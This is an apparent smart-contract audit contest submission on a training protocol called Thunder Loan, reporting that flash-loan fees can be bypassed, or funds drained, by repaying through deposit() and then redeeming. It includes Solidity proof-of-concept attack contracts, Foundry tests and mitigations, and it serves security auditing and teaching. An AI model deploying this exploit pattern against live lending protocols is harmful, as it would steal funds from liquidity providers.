Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

Flash loan repayment check bypassed via deposit(), enabling fee-free borrowing

Root + Impact

Description

  • The flashloan() function verifies repayment by checking that the ending token balance of AssetToken is greater than or equal to startingBalance + fee.

  • The issue is that deposit() also transfers tokens into AssetToken. An attacker can call deposit() during executeOperation() to satisfy the balance check, then redeem() the received asset tokens to recover the funds — effectively taking a flash loan without paying the fee.

function flashloan(...) external {
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
// ...
@> // balance check only — does not verify repay() was called
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
}

Risk

Likelihood:

  • Any user with capital equal to loanAmount + fee can execute this attack at any time.

  • The attack is repeatable and does not require special permissions or contract state.

Impact:

  • Protocol fee revenue is bypassed entirely, liquidity providers earn no yield from flash loans.

  • The attacker recovers nearly all capital spent, making the flash loan effectively free.

Proof of Concept

Add to test/ and run forge test --match-test testFlashLoanFeeBypassViaDeposit -vv:

contract MaliciousReceiver is IFlashLoanReceiver {
ThunderLoan private thunderLoan;
constructor(address _tl) { thunderLoan = ThunderLoan(_tl); }
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee); // satisfies balance check
return true;
}
}
function testFlashLoanFeeBypassViaDeposit() public {
// ... setup pool with 1000e18 tokens ...
uint256 loanAmount = 100e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, loanAmount);
tokenA.mint(attacker, loanAmount + fee);
// attacker calls flashloan → receiver deposits → redeems shares back
thunderLoan.flashloan(address(receiver), tokenA, loanAmount, "");
thunderLoan.redeem(tokenA, asset.balanceOf(address(receiver)));
assertGt(tokenA.balanceOf(address(receiver)), loanAmount); // [PASS] — fee bypassed
}

Recommended Mitigation

+ mapping(IERC20 => uint256) private s_expectedRepayAmount;
function flashloan(...) external {
+ s_expectedRepayAmount[token] = startingBalance + fee;
// ...
}
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) revert ...;
+ s_expectedRepayAmount[token] -= amount;
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Track repayment explicitly via repay() with internal accounting, not just final balance.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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